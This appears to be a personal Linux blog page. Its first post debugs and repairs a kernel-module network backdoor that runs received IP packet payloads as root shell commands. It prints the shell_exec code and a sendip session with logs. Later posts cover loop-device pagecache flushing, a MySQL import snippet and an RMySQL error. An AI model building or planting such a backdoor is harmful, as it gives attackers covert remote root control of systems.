Linux kernel network backdoor

The ksplice blog has a very nice entry on hosting backdoors in hardware.
The quick summary of this backdoor is:

1. Register a protocol handler for an unused IP protocol number .
2. Call usermodhelper to execute the payload of the packet (skb->data).
3. Remote system now executes any command that you send it as root.

Unfortunately, it looks like the code is either out of date and/or buggy. Attempting to modprobe the backdoor module generates the following kernel call trace:

	Oct 28 10:43:47 debian kernel: [269087.601151] pkt_len: 13, ipv4, hdr_len: 5
	Oct 28 10:43:47 debian kernel: [269087.601154] s_ip: 192.168.127.108,
	Oct 28 10:43:47 debian kernel: [269087.601155] data: touch /tmp/x,
	Oct 28 10:43:47 debian kernel: [269087.601156] About to run: touch /tmp/x,
	Oct 28 10:43:47 debian kernel: [269087.601801] Modules linked in: backdoor_buggy(O) vboxsf(O) ppdev lp bnep rfcomm bluetooth rfkill uinput nfsd nfs nfs_acl auth_rpcgss fscache lockd sunrpc ext2 loop joydev iTCO_wdt iTCO_vendor_support psmouse pcspkr serio_raw evdev rng_core usbhid hid i2c_piix4 i2c_core snd_intel8x0 snd_ac97_codec snd_pcm snd_page_alloc snd_timer snd soundcore ac97_bus parport_pc battery processor parport vboxguest(O) thermal_sys ac button power_supply ext4 crc16 jbd2 mbcache dm_mod sg sd_mod sr_mod crc_t10dif cdrom ata_generic ata_piix ahci libahci ohci_hcd ehci_hcd libata usbcore e1000 usb_common scsi_mod [last unloaded: scsi_wait_scan]
	Oct 28 10:43:47 debian kernel: [269087.601847] Pid: 7862, comm: sendip Tainted: G O 3.2.0-4-amd64 #1 Debian 3.2.46-1+deb7u1
	Oct 28 10:43:47 debian kernel: [269087.601849] Call Trace:
	Oct 28 10:43:47 debian kernel: [269087.601851] <IRQ> [<ffffffff813480b9>] ? __schedule_bug+0x3e/0x52
	Oct 28 10:43:47 debian kernel: [269087.601859] [<ffffffff8134d29d>] ? __schedule+0x85/0x610
	Oct 28 10:43:47 debian kernel: [269087.601863] [<ffffffff81041f3d>] ? __cond_resched+0x1d/0x26
	Oct 28 10:43:47 debian kernel: [269087.601865] [<ffffffff8134d877>] ? _cond_resched+0x12/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601866] [<ffffffff8134d89f>] ? wait_for_common+0x1e/0x119
	Oct 28 10:43:47 debian kernel: [269087.601869] [<ffffffff8134ebc7>] ? _raw_spin_unlock_irqrestore+0xe/0xf
	Oct 28 10:43:47 debian kernel: [269087.601872] [<ffffffff8105af63>] ? queue_work_on+0x2f/0x3d
	Oct 28 10:43:47 debian kernel: [269087.601875] [<ffffffff8105972c>] ? call_usermodehelper_exec+0xa3/0xe8
	Oct 28 10:43:47 debian kernel: [269087.601879] [<ffffffffa03ec0e3>] ? exec_packet+0xe3/0x102 [backdoor_buggy]
	Oct 28 10:43:47 debian kernel: [269087.601883] [<ffffffff812b6bf1>] ? ip_local_deliver_finish+0x143/0x1b0
	Oct 28 10:43:47 debian kernel: [269087.601886] [<ffffffff8128d974>] ? __netif_receive_skb+0x3fb/0x42d
	Oct 28 10:43:47 debian kernel: [269087.601888] [<ffffffff8128da12>] ? process_backlog+0x6c/0x123
	Oct 28 10:43:47 debian kernel: [269087.601892] [<ffffffff8119d268>] ? blk_done_softirq+0x65/0x74
	Oct 28 10:43:47 debian kernel: [269087.601894] [<ffffffff8128f907>] ? net_rx_action+0xa1/0x1af
	Oct 28 10:43:47 debian kernel: [269087.601897] [<ffffffff8104b614>] ? __local_bh_enable+0x40/0x77
	Oct 28 10:43:47 debian kernel: [269087.601899] [<ffffffff8104c1ac>] ? __do_softirq+0xb9/0x177
	Oct 28 10:43:47 debian kernel: [269087.601902] [<ffffffff81355dec>] ? call_softirq+0x1c/0x30
	Oct 28 10:43:47 debian kernel: [269087.601903] <EOI> [<ffffffff8100f8cd>] ? do_softirq+0x3c/0x7b
	Oct 28 10:43:47 debian kernel: [269087.601909] [<ffffffff8104c0d7>] ? _local_bh_enable_ip.isra.11+0x76/0x88
	Oct 28 10:43:47 debian kernel: [269087.601911] [<ffffffff81290cd3>] ? dev_queue_xmit+0x458/0x46b
	Oct 28 10:43:47 debian kernel: [269087.601914] [<ffffffff812b950c>] ? ip_finish_output2+0x1ca/0x1f9
	Oct 28 10:43:47 debian kernel: [269087.601916] [<ffffffff812d4252>] ? raw_sendmsg+0x5ef/0x7b6
	Oct 28 10:43:47 debian kernel: [269087.601920] [<ffffffff810b47bd>] ? sleep_on_page+0xa/0xa
	Oct 28 10:43:47 debian kernel: [269087.601923] [<ffffffff8110b0b4>] ? __d_lookup_rcu+0x34/0xfe
	Oct 28 10:43:47 debian kernel: [269087.601925] [<ffffffff810b4683>] ? find_get_page+0x40/0x62
	Oct 28 10:43:47 debian kernel: [269087.601928] [<ffffffff810364e8>] ? should_resched+0x5/0x23
	Oct 28 10:43:47 debian kernel: [269087.601932] [<ffffffff8127e841>] ? sock_sendmsg+0xc1/0xde
	Oct 28 10:43:47 debian kernel: [269087.601934] [<ffffffff8134ecfb>] ? _raw_spin_lock_bh+0xe/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601937] [<ffffffff8128140e>] ? release_sock+0x17/0x101
	Oct 28 10:43:47 debian kernel: [269087.601939] [<ffffffff8104c07f>] ? _local_bh_enable_ip.isra.11+0x1e/0x88
	Oct 28 10:43:47 debian kernel: [269087.601941] [<ffffffff812bcd93>] ? do_ip_setsockopt.isra.6+0xa4a/0xa87
	Oct 28 10:43:47 debian kernel: [269087.601943] [<ffffffff810364e8>] ? should_resched+0x5/0x23
	Oct 28 10:43:47 debian kernel: [269087.601945] [<ffffffff8134d86c>] ? _cond_resched+0x7/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601947] [<ffffffff8127d28f>] ? copy_from_user+0x18/0x30
	Oct 28 10:43:47 debian kernel: [269087.601950] [<ffffffff812800d7>] ? sys_sendto+0xf7/0x137
	Oct 28 10:43:47 debian kernel: [269087.601953] [<ffffffff812bcea1>] ? ip_setsockopt+0x2b/0x8b
	Oct 28 10:43:47 debian kernel: [269087.601955] [<ffffffff81353b92>] ? system_call_fastpath+0x16/0x1b

view raw gistfile1.txt hosted with ❤ by GitHub

Further investigations reveal that this is due to us calling a sleepy method from an atomic one... call_usermodhelper will eventually call wait_for_common which sleeps.  You do not want to sleep in an ISR routine.

	lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko
	GNU gdb (GDB) 7.4.1-debian
	Copyright (C) 2012 Free Software Foundation, Inc.
	License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
	This is free software: you are free to change and redistribute it.
	There is NO WARRANTY, to the extent permitted by law. Type "show copying"
	and "show warranty" for details.
	This GDB was configured as "x86_64-linux-gnu".
	For bug reporting instructions, please see:
	<http://www.gnu.org/software/gdb/bugs/>...
	Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done.
	(gdb) l *exec_packet+0xe3
	0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17).
	12 static void shell_exec (struct sk_buff *skb) {
	13 char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
	14 char *cmd[] = {"/bin/sh", "-c", skb->data, NULL};
	15 printk(KERN_INFO "About to run: %s, ", skb->data);
	16 call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC);
	17 kfree_skb(skb);
	18 }

view raw bugg_code.c hosted with ❤ by GitHub

The fix for this is to use a deferrable; we need to stop working in an interrupt context and schedule the non atomic work for future processing.

One possible solution is to use work queues for deferrable work. Here's an example implementation in github using work queues.

And here's an example session:

	# Dropping a cookie
	$ ls /tmp/
	ssh-6CCizuH8ioj3
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$ ls /tmp/
	ssh-6CCizuH8ioj3 x
	# And another one
	$ echo -ne "touch /tmp/hello \0" | hexdump -C
	00000000 74 6f 75 63 68 20 2f 74 6d 70 2f 68 65 6c 6c 6f |touch /tmp/hello|
	00000010 20 00 | .|
	$ echo -ne "touch /tmp/hello \0" > payload
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$ ls /tmp/
	hello ssh-6CCizuH8ioj3 x
	$ sudo tcpdump -i any -n icmp&
	tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
	listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
	[1]+ sudo tcpdump -i any -n icmp &
	$ echo -ne "ping -c 2 8.8.8.8 \0" > payload
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$
	11:55:18.500262 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 1, length 64
	11:55:18.699243 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 1, length 64
	11:55:19.501678 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 2, length 64
	11:55:19.706129 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 2, length 64
	---- Corresponding logs
	Oct 28 11:51:30 debian kernel: [ 81.898799] pkt_len: 13, ipv4, hdr_len: 5
	Oct 28 11:51:30 debian kernel: [ 81.898802] s_ip: 192.168.1.15,
	Oct 28 11:51:30 debian kernel: [ 81.898803] data: touch /tmp/x, All done..
	Oct 28 11:51:30 debian kernel: [ 81.898809] Worker received skb ffff88001ee191c0
	Oct 28 11:52:35 debian kernel: [ 81.898810] worker received data: touch /tmp/x,
	Oct 28 11:52:35 debian kernel: [ 146.791121] pkt_len: 0, ipv4, hdr_len: 5
	Oct 28 11:52:35 debian kernel: [ 146.791125] s_ip: 192.168.1.15,
	Oct 28 11:52:35 debian kernel: [ 146.791127] data: , All done..
	Oct 28 11:52:35 debian kernel: [ 146.791135] Worker received skb ffff88001bffc0c0
	Oct 28 11:53:03 debian kernel: [ 146.791137] worker received data: ,
	Oct 28 11:53:03 debian kernel: [ 174.826200] pkt_len: 18, ipv4, hdr_len: 5
	Oct 28 11:53:03 debian kernel: [ 174.826203] s_ip: 192.168.1.15,
	Oct 28 11:53:03 debian kernel: [ 174.826204] data: touch /tmp/hello , All done..
	Oct 28 11:53:03 debian kernel: [ 174.826210] Worker received skb ffff88001bffc6c0
	Oct 28 11:54:29 debian kernel: [ 174.826211] worker received data: touch /tmp/hello ,
	Oct 28 11:54:29 debian kernel: [ 260.700901] pkt_len: 21, ipv4, hdr_len: 5
	Oct 28 11:54:29 debian kernel: [ 260.700904] s_ip: 192.168.1.15,
	Oct 28 11:54:29 debian kernel: [ 260.700905] data: ping -c 2 192.168.1.15 , All done..
	Oct 28 11:54:29 debian kernel: [ 260.700912] Worker received skb ffff88001bffc6c0
	Oct 28 11:55:18 debian kernel: [ 260.700913] worker received data: ping -c 2 192.168.1.15 ,
	Oct 28 11:55:18 debian kernel: [ 309.900887] pkt_len: 20, ipv4, hdr_len: 5
	Oct 28 11:55:18 debian kernel: [ 309.900891] s_ip: 192.168.1.15,
	Oct 28 11:55:18 debian kernel: [ 309.900892] data: ping -c 2 8.8.8.8 , All done..
	Oct 28 11:55:18 debian kernel: [ 309.900900] Worker received skb ffff88001d86f680

view raw play.sh hosted with ❤ by GitHub

Linux: The pagecache and the loop back fs

Linux has a mechanism that allows you to create a block device that is backed by a file.  Most commonly, this is used to provide an encrpyted fs. All this is fine and dandy. However, you have to factor in that the Linux OS (And practically any other OS) will want to cache contents for block device in memory.

The reasoning here is. Accessing the contents of a file from a disk will cost you ~5ms. Rather than incur this cost on future reads, the OS caches the contents of the recently used file in a page cache. Future reads or writes to this file will hit the page cache which is orders of magnitude faster than your average disk.

This means that your writes will linger in memory until the your backing file's contents get evicted from the page cache. Using o_direct on files that are hosted within the loop backed fs won't help. You have to force pagecache evictions. The easiest way to do this is a call to fadvise and a sync to force pdflush to write your changes.

Here's an experiment:
I have 3 windows open.:

• One running blktrace  which shows VFS activity.
• One that has a oneshot dd.
• One that has a bunch of shell commands that poke around the loop mounted fs.

The experiment is executed in the following order:

1. An fadvise and a sync at the beginning to make sure the pagecache is clean and all writes are on the FS.
2. We also print out a couple of stats from /proc/meminfo.
3. We issue a dd call with direct I/O (oflag=direct).
4. Print stats from /proc/meminfo and take a look at the backing file using debugfs.
5. Show how much of the backing file is cached in the pagecache by using fincore.
6. Evict the pagecache using the fadvise command from linux-ftools.
7. Force a sync which wakes up pdflush to write out the dirty buffers.
8. Run debugfs to take a peek at the backing fs again.
9. Print out some more stats from meminfo.

Here's the script:

	# Show the mountpoint for the loopbacked fs
	mount |grep zero;
	# Meminfo stats
	cat /proc/meminfo | egrep -i "dirty|cache";
	# Give humans a chance to run dd in another window
	echo -e "\n**Sleeping for 10.. Waiting for I/O**\n";
	sleep 10;
	# Meminfo stats
	cat /proc/meminfo | egrep -i "dirty|cache";
	echo -e "\n****\n";
	# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
	ls -lisa /tmp/bah;
	echo -e "\n****\n";
	# Meminfo stats
	cat /proc/meminfo | egrep -i "dirty|cach|buff";
	echo -e "\n****\n";
	# What the actual backing file has (Reading the <real> disk data)
	echo ls -l | /sbin/debugfs /tmp/zeros;
	echo -e "\n\n****\n";
	# How much of our backing file is in the pagecache
	echo -e "\n****\n";
	fincore /tmp/zeros;
	# Kicking out the file from the pagecache
	echo -e "\n****\n";
	fadvise /tmp/zeros POSIX_FADV_DONTNEED;
	# More stats
	echo -e "\n****\n";
	cat /proc/meminfo | egrep -i "dirty|cach|buff";
	# Wake up pdflush and wait for it to flush dirty pages to the <real> hard disk
	sync;
	echo -e "\n*** Sleeping for 10.***\n";
	sleep 10;
	echo -e "\n****\n";
	# Show whether we were able to evict the backing file from the page cache
	fincore /tmp/zeros;
	echo -e "\n****\n";
	# Read the backing file contents
	echo ls -l |/sbin/debugfs /tmp/zeros ;
	echo -e "\n****\n";
	# Last bunch of stats
	cat /proc/meminfo | egrep -i "dirty|cach|buff";
	echo -e "\n****\n";

view raw poke_loop_backed_fs.sh hosted with ❤ by GitHub

And the output generated:

	# Results for https://gist.github.com/labeneator/6937753
	# Show the mountpoint for the loopbacked fs
	/tmp/zeros on /tmp/bah type ext2 (rw,loop=/dev/loop0)
	# Meminfo stats before ddd
	Cached: 1947592 kB
	SwapCached: 0 kB
	Dirty: 0 kB
	**Sleeping for 10.. Waiting for I/O**
	## Actual dd command
	###
	## $ dd if=blktrace of=/tmp/bah/blktrace oflag=sync
	## 212+1 records in
	## 212+1 records out
	## 108740 bytes (109 kB) copied, 0.016489 seconds, 6.6 MB/s
	##
	##
	# Meminfo stats after dd. Notice that the Cached value grows by the 'blktrace' size from above '108k'
	# Also note that we now have some dirty blocks. I believe that these are made up of the blktrace content + ext3 metadata + any other OS dirty buffers
	Cached: 1947700 kB
	SwapCached: 0 kB
	Dirty: 160 kB
	****
	# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
	# This is an ls -alisa /tmp/bah
	total 309
	2 1 drwxr-xr-x 3 23142 xxxx 1024 Oct 11 17:30 .
	8936929 188 drwxrwxrwt 12 root root 188416 Oct 11 17:01 ..
	12 108 -rw-r--r-- 1 root root 108740 Oct 11 17:30 blktrace
	11 12 drwx------ 2 root root 12288 Oct 9 14:42 lost+found
	# What does the world look like if we view the loopbacking file via debugfs.
	# This reflects what's actually on disk
	# Note that blktrace file is missing....
	debugfs 1.39 (29-May-2006)
	debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
	2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
	11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
	debugfs:
	****
	# And we can see that it's in the pagecache
	filename size total_pages min_cached page cached_pages cached_size cached_perc
	-------- ---- ----------- --------------- ------------ ----------- -----------
	/tmp/zeros 1,048,576 256 0 37 151,552 14.45
	---
	total cached size: 151,552
	# Running fadvise to evict /tmp/zeros from the page cache
	****
	Going to fadvise /tmp/zeros as mode POSIX_FADV_DONTNEED
	offset: 0
	length: 1048576
	mode: POSIX_FADV_DONTNEED
	WIN
	# Post fadvise stats
	Buffers: 522112 kB
	Cached: 1947548 kB
	SwapCached: 0 kB
	Dirty: 12 kB
	###### Running sync to awake pdflush and sleeping for 10 secs
	# Page cache stats after eviction
	filename size total_pages min_cached page cached_pages cached_size cached_perc
	-------- ---- ----------- --------------- ------------ ----------- -----------
	/tmp/zeros 1,048,576 256 0 4 16,384 1.56
	---
	total cached size: 16,384
	## What the backing fs looks like after pagecache eviction
	debugfs 1.39 (29-May-2006)
	debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
	2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
	11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
	12 100644 (1) 0 0 108740 11-Oct-2013 17:30 blktrace
	debugfs:

view raw poke_loop_backed_fs_annotated.sh hosted with ❤ by GitHub

The interesting bits to note here is that writes to a loop back filesystems in Linux are not guaranteed to be on disk until you evict the pagecache and force a sync.

If you are interested in further digging, here's debug output from:

blktrace:

	# printf "%10s %15s %5s %10s %5s %8s %5s %14s %8s %14s %5s\n" "Sequence" "Timestamp" "CPU" "Process" "PID" "devid" "RWBS" "Sector" "Blocks" "Bytes" "Action";./blktrace -d /dev/loop0 -o - | ./blkparse -i - -f "%10s %5T.%9t %5c %10C %5p %8D %5d %14S %8n %14N %2a\n"
	Sequence Timestamp CPU Process PID devid RWBS Sector Blocks Bytes Action
	1 0.000000000 0 dd 32506 7,0 W 76 2 1024 Q
	2 0.000006148 0 dd 32506 7,0 W 18 2 1024 Q
	3 0.000007682 0 dd 32506 7,0 N 0 0 0 U
	4 0.000023931 0 dd 32506 7,0 W 76 2 1024 Q
	5 0.000025840 0 dd 32506 7,0 W 18 2 1024 Q
	6 0.000026339 0 dd 32506 7,0 N 0 0 0 U
	7 0.000035417 0 dd 32506 7,0 W 78 2 1024 Q
	8 0.000037037 0 dd 32506 7,0 W 18 2 1024 Q
	9 0.000037982 0 dd 32506 7,0 N 0 0 0 U
	10 0.000059674 0 dd 32506 7,0 W 78 2 1024 Q
	11 0.000061141 0 dd 32506 7,0 W 18 2 1024 Q
	12 0.000061527 0 dd 32506 7,0 N 0 0 0 U
	13 0.000068399 0 dd 32506 7,0 W 80 2 1024 Q
	14 0.000069862 0 dd 32506 7,0 W 18 2 1024 Q
	15 0.000070181 0 dd 32506 7,0 N 0 0 0 U
	16 0.000077161 0 dd 32506 7,0 W 80 2 1024 Q
	17 0.000078575 0 dd 32506 7,0 W 18 2 1024 Q
	18 0.000078917 0 dd 32506 7,0 N 0 0 0 U
	19 0.000085263 0 dd 32506 7,0 W 82 2 1024 Q
	20 0.000086591 0 dd 32506 7,0 W 18 2 1024 Q
	21 0.000086925 0 dd 32506 7,0 N 0 0 0 U
	22 0.000093163 0 dd 32506 7,0 W 82 2 1024 Q
	23 0.000094517 0 dd 32506 7,0 W 18 2 1024 Q
	24 0.000094836 0 dd 32506 7,0 N 0 0 0 U
	25 0.000106479 0 dd 32506 7,0 W 84 2 1024 Q
	26 0.000108122 0 dd 32506 7,0 W 18 2 1024 Q
	27 0.000108504 0 dd 32506 7,0 N 0 0 0 U
	28 0.000115147 0 dd 32506 7,0 W 84 2 1024 Q
	29 0.000116805 0 dd 32506 7,0 W 18 2 1024 Q
	30 0.000117139 0 dd 32506 7,0 N 0 0 0 U
	31 0.000124562 0 dd 32506 7,0 W 86 2 1024 Q
	32 0.000125991 0 dd 32506 7,0 W 18 2 1024 Q
	33 0.000126351 0 dd 32506 7,0 N 0 0 0 U
	34 0.000133418 0 dd 32506 7,0 W 86 2 1024 Q
	35 0.000134810 0 dd 32506 7,0 W 18 2 1024 Q
	36 0.000135148 0 dd 32506 7,0 N 0 0 0 U
	37 0.000141715 0 dd 32506 7,0 W 88 2 1024 Q
	38 0.000143133 0 dd 32506 7,0 W 18 2 1024 Q
	39 0.000143437 0 dd 32506 7,0 N 0 0 0 U
	40 0.000150440 0 dd 32506 7,0 W 88 2 1024 Q
	41 0.000151835 0 dd 32506 7,0 W 18 2 1024 Q
	42 0.000152226 0 dd 32506 7,0 N 0 0 0 U
	43 0.000158722 0 dd 32506 7,0 W 90 2 1024 Q
	44 0.000160062 0 dd 32506 7,0 W 18 2 1024 Q
	45 0.000160399 0 dd 32506 7,0 N 0 0 0 U
	46 0.000166581 0 dd 32506 7,0 W 90 2 1024 Q
	47 0.000167879 0 dd 32506 7,0 W 18 2 1024 Q
	48 0.000168197 0 dd 32506 7,0 N 0 0 0 U
	49 0.000178014 0 dd 32506 7,0 W 92 2 1024 Q
	50 0.000179465 0 dd 32506 7,0 W 18 2 1024 Q
	51 0.000179878 0 dd 32506 7,0 N 0 0 0 U
	52 0.000187129 0 dd 32506 7,0 W 92 2 1024 Q
	53 0.000188629 0 dd 32506 7,0 W 18 2 1024 Q
	54 0.000189027 0 dd 32506 7,0 N 0 0 0 U
	55 0.000196251 0 dd 32506 7,0 W 94 2 1024 Q
	56 0.000197762 0 dd 32506 7,0 W 18 2 1024 Q
	57 0.000198156 0 dd 32506 7,0 N 0 0 0 U
	58 0.000204736 0 dd 32506 7,0 W 94 2 1024 Q
	59 0.000206150 0 dd 32506 7,0 W 18 2 1024 Q
	60 0.000206540 0 dd 32506 7,0 N 0 0 0 U
	61 0.000213231 0 dd 32506 7,0 W 96 2 1024 Q
	62 0.000214687 0 dd 32506 7,0 W 18 2 1024 Q
	63 0.000215017 0 dd 32506 7,0 N 0 0 0 U
	64 0.000236458 0 dd 32506 7,0 W 96 2 1024 Q
	65 0.000238025 0 dd 32506 7,0 W 18 2 1024 Q
	66 0.000238573 0 dd 32506 7,0 N 0 0 0 U
	67 0.000245846 0 dd 32506 7,0 W 98 2 1024 Q
	68 0.000247219 0 dd 32506 7,0 W 18 2 1024 Q
	69 0.000247605 0 dd 32506 7,0 N 0 0 0 U
	70 0.000255846 0 dd 32506 7,0 W 98 2 1024 Q
	71 0.000257182 0 dd 32506 7,0 W 18 2 1024 Q
	72 0.000257508 0 dd 32506 7,0 N 0 0 0 U
	73 0.000266975 0 dd 32506 7,0 W 102 2 1024 Q
	74 0.000268183 0 dd 32506 7,0 W 100 2 1024 Q
	75 0.000268667 0 dd 32506 7,0 N 0 0 0 U
	76 0.000272403 0 dd 32506 7,0 W 18 2 1024 Q
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	4 7.857272312 1 pdflush 152 7,0 W 12 2 1024 Q
	5 7.857272698 1 pdflush 152 7,0 W 14 2 1024 Q
	6 7.857274082 1 pdflush 152 7,0 W 16 2 1024 Q
	7 7.857274491 1 pdflush 152 7,0 W 18 2 1024 Q
	8 78.490895097 1 pdflush 152 7,0 W 16 2 1024 Q
	CPU0 (7,0):
	Reads Queued: 0, 0KiB Writes Queued: 521, 521KiB
	Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
	Reads Requeued: 0 Writes Requeued: 0
	Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
	Read Merges: 0, 0KiB Write Merges: 0, 0KiB
	Read depth: 0 Write depth: 0
	IO unplugs: 308 Timer unplugs: 0
	CPU1 (7,0):
	Reads Queued: 0, 0KiB Writes Queued: 8, 8KiB
	Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
	Reads Requeued: 0 Writes Requeued: 0
	Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
	Read Merges: 0, 0KiB Write Merges: 0, 0KiB
	Read depth: 0 Write depth: 0
	IO unplugs: 0 Timer unplugs: 0
	Total (7,0):
	Reads Queued: 0, 0KiB Writes Queued: 529, 529KiB
	Read Dispatches: 0, 0KiB Write Dispatches: 0, 0KiB
	Reads Requeued: 0 Writes Requeued: 0
	Reads Completed: 0, 0KiB Writes Completed: 0, 0KiB
	Read Merges: 0, 0KiB Write Merges: 0, 0KiB
	IO unplugs: 308 Timer unplugs: 0
	Throughput (R/W): 0KiB/s / 0KiB/s
	Events (7,0): 837 entries
	Skips: 0 forward (0 - 0.0%)

view raw blktrace.output hosted with ❤ by GitHub

Debugfs and dumpe2fs:

	# /sbin/dumpe2fs /tmp/zeros
	dumpe2fs 1.39 (29-May-2006)
	Filesystem volume name: <none>
	Last mounted on: <not available>
	Filesystem UUID: 883f7cd8-c8cc-44cf-9e86-ba36519e4b49
	Filesystem magic number: 0xEF53
	Filesystem revision #: 1 (dynamic)
	Filesystem features: resize_inode dir_index filetype sparse_super
	Default mount options: (none)
	Filesystem state: not clean
	Errors behavior: Continue
	Filesystem OS type: Linux
	Inode count: 128
	Block count: 1024
	Reserved block count: 51
	Free blocks: 986
	Free inodes: 117
	First block: 1
	Block size: 1024
	Fragment size: 1024
	Reserved GDT blocks: 3
	Blocks per group: 8192
	Fragments per group: 8192
	Inodes per group: 128
	Inode blocks per group: 16
	Filesystem created: Wed Oct 9 14:42:29 2013
	Last mount time: Fri Oct 11 16:08:29 2013
	Last write time: Fri Oct 11 18:28:21 2013
	Mount count: 2
	Maximum mount count: 37
	Last checked: Wed Oct 9 14:42:29 2013
	Check interval: 15552000 (6 months)
	Next check after: Mon Apr 7 14:42:29 2014
	Reserved blocks uid: 0 (user root)
	Reserved blocks gid: 0 (group root)
	First inode: 11
	Inode size: 128
	Default directory hash: tea
	Directory Hash Seed: dd5c49d9-c270-4fca-a141-b389183a6089
	Group 0: (Blocks 1-1023)
	Primary superblock at 1, Group descriptors at 2-2
	Reserved GDT blocks at 3-5
	Block bitmap at 6 (+5), Inode bitmap at 7 (+6)
	Inode table at 8-23 (+7)
	878 free blocks, 116 free inodes, 2 directories
	Free blocks: 146-1023
	Free inodes: 13-128

view raw ext3_info_for_tmp_zeros hosted with ❤ by GitHub

	# /sbin/debugfs /tmp/zeros
	debugfs 1.39 (29-May-2006)
	debugfs: ?
	Available debugfs requests:
	show_debugfs_params, params
	Show debugfs parameters
	open_filesys, open Open a filesystem
	close_filesys, close Close the filesystem
	feature, features Set/print superblock features
	dirty_filesys, dirty Mark the filesystem as dirty
	init_filesys Initalize a filesystem (DESTROYS DATA)
	show_super_stats, stats Show superblock statistics
	ncheck Do inode->name translation
	icheck Do block->inode translation
	change_root_directory, chroot
	Change root directory
	change_working_directory, cd
	Change working directory
	list_directory, ls List directory
	show_inode_info, stat Show inode information
	link, ln Create directory link
	unlink Delete a directory link
	mkdir Create a directory
	rmdir Remove a directory
	rm Remove a file (unlink and kill_file, if appropriate)
	kill_file Deallocate an inode and its blocks
	clri Clear an inode's contents
	freei Clear an inode's in-use flag
	seti Set an inode's in-use flag
	testi Test an inode's in-use flag
	freeb Clear a block's in-use flag
	setb Set a block's in-use flag
	testb Test a block's in-use flag
	modify_inode, mi Modify an inode by structure
	find_free_block, ffb Find free block(s)
	find_free_inode, ffi Find free inode(s)
	print_working_directory, pwd
	Print current working directory
	...skipping one line
	mknod Create a special file
	list_deleted_inodes, lsdel
	List deleted inodes
	undelete, undel Undelete file
	write Copy a file from your native filesystem
	dump_inode, dump Dump an inode out to a file
	cat Dump an inode out to stdout
	lcd Change the current directory on your native filesystem
	rdump Recursively dump a directory to the native filesystem
	set_super_value, ssv Set superblock value
	set_inode_field, sif Set inode field
	logdump Dump the contents of the journal
	htree_dump, htree Dump a hash-indexed directory
	dx_hash, hash Calculate the directory hash of a filename
	dirsearch Search a directory for a particular filename
	bmap Calculate the logical->physical block mapping for an inode
	imap Calculate the location of an inode
	dump_unused Dump unused blocks
	set_current_time Set current time to use when setting filesystme fields
	help Display info on command or topic.
	list_requests, lr, ? List available commands.
	quit, q Leave the subsystem.
	debugfs: ls
	2 (12) . 2 (12) .. 11 (20) lost+found 12 (980) blktrace
	debugfs: stat blktrace
	Inode: 12 Type: regular Mode: 0644 Flags: 0x0 Generation: 2039396507
	User: 0 Group: 0 Size: 108740
	File ACL: 0 Directory ACL: 0
	Links: 1 Blockcount: 216
	Fragment: Address: 0 Number: 0 Size: 0
	ctime: 0x52582724 -- Fri Oct 11 18:28:20 2013
	atime: 0x52581985 -- Fri Oct 11 17:30:13 2013
	mtime: 0x52582724 -- Fri Oct 11 18:28:20 2013
	BLOCKS:
	(0-11):38-49, (IND):50, (12-106):51-145
	TOTAL: 108
	debugfs: bmap blktrace 0
	38
	debugfs: bmap blktrace 108
	0
	debugfs: bmap blktrace 107
	0
	debugfs: bmap blktrace 105
	144
	debugfs: bmap blktrace 106
	145
	debugfs: testb 145
	Block 145 marked in use
	debugfs: testb 146
	Block 146 not in use
	debugfs: icheck 145
	Block Inode number
	145 12
	debugfs: ncheck 12
	Inode Pathname
	12 /blktrace

view raw gistfile1.txt hosted with ❤ by GitHub

MYSQL load data: Stripping out zulu time and converting ip addresses to unsigned ints.

Snip for me: Storing IP addresses compactly in MySQL

	-- Loads IPs as an unsgined int (create table :: ip int(10) unsigned NOT NULL)
	-- Trims out the zulu time timezone indicator 'Z' e.g. (2013-07-31T18:41:38Z,).
	-- See http://en.wikipedia.org/wiki/Coordinated_Universal_Time
	load data local infile 'xxxxx'
	into table blah
	fields terminated by ','
	ignore 1 lines
	(a, @ip, b, @ts1, @ts2)
	set ip=inet_aton(@ip),
	ts1=replace(@ts1, 'Z', ''),
	ts2=replace(@ts2, 'Z', '');

view raw load_data.sql hosted with ❤ by GitHub

RMySQL on OSX

I ran into an issue installing RMySQL on OSX. I am using a R from brew and MySQL from the Oracle download page. Trying to install RMySQL would throw up this error

	** installing vignettes
	** testing if installed package can be loaded
	Error : .onLoad failed in loadNamespace() for 'RMySQL', details:
	call: dyn.load(file, DLLpath = DLLpath, ...)
	error: unable to load shared object '/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so':
	dlopen(/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so, 6): Library not loaded: libmysqlclient.18.dylib
